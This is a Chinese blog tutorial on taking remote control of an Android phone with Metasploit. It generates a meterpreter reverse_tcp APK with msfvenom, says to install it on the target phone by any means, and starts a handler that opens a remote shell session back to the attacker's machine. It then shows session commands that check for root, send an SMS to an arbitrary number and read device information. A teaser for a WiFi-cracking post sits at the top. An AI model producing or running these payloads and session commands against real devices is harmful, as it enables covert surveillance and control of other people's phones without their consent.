使用Metasploit对Andorid系统渗透测试提权——定位拍照发短信

关注

原创最新推荐文章于 2026-04-14 11:11:41 发布 2.5k 阅读 AI 写同款· GEO 优化 ›

使用kali破解WIFI——Aircrack-ng 文章目录前言一、配置网卡1.查看网卡名2.设置监听模式二、获取目标流量1.扫描附近wifi2.监听目标流量三、破解wifi密码1.攻击指定客户端2.暴力破解总结前言 Aircrack-ng是kali linux自带的网络测试工具之一，是评估WIFI网络安全性的一整套工具。它侧重于WIFI安全的不同领域：监控：数据包捕获和数据导出到文本文件，以供第三方工具进一步处理攻击：通过数据包注入重播攻击，解除身份验证，虚假接入点等测试：检查WIFI卡和驱动程序功能（捕获和注入）破解：WEP和WPA PS 阅读详情

前言

使用metasploit对安卓系统渗透测试提权

一、生成攻击载荷

┌──(root💀kali)-[~]
└─# msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.113 lport=6666 R> pay2.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder specified, outputting raw payload
Payload size: 10187 bytes

将生成的攻击载荷文件安装到目标手机内（无论用任何方法）

二、加载主控端handler

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.1.113
lhost => 192.168.1.113
msf6 exploit(multi/handler) > set lport 6666
lport => 6666
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.113:6666 
[*] Sending stage (77002 bytes) to 192.168.1.105
[*] Meterpreter session 1 opened (192.168.1.113:6666 -> 192.168.1.105:41207) at 2021-05-13 13:06:59 +0800

meterpreter > ls
Listing: /data/user/0/com.metasploit.stage/files
================================================

Mode             Size  Type  Last modified              Name
----             ----  ----  -------------              ----
40776/rwxrwxrw-  4096  dir   2021-05-13 13:07:01 +0800  oat

meterpreter > ifconfig

Interface  1
============
Name         : dummy0 - dummy0
Hardware MAC : ea:f1:0a:6f:b6:33
MTU          : 1500
IPv6 Address : fe80::e8f1:aff:fe6f:b638
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface  2
============
Name         : r_rmnet_data2 - r_rmnet_data2
Hardware MAC : 00:00:00:00:00:00
MTU          : 1500


Interface  3
============
Name         : r_rmnet_data3 - r_rmnet_data3
Hardware MAC : 00:00:00:00:00:00
MTU          : 1500


Interface  4
============
Name         : r_rmnet_data0 - r_rmnet_data0
Hardware MAC : 00:00:00:00:00:00
MTU          : 1500


Interface  5
============
Name         : lo - lo
Hardware MAC : 00:00:00:00:00:00
MTU          : 65536
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
....
meterpreter >

成功获取目标手机meterpreter权限，可以进一步的监视手机使用情况，这里介绍以下几个：

meterpreter > help

①检查是否root

meterpreter > check_root
[*] Device is not rooted

②向任意号码发送短信（测试机无手机卡）

meterpreter > send_sms -d 18211111111 -t "hello"
[-] Error running command send_sms: Rex::TimeoutError Operation timed out.

③查看手机信息

meterpreter > sysinfo
Computer    : localhost
OS          : Android 9 - Linux 4.4.153-perf-ged862bb (aarch64)
Meterpreter : dalvik/android
meterpreter >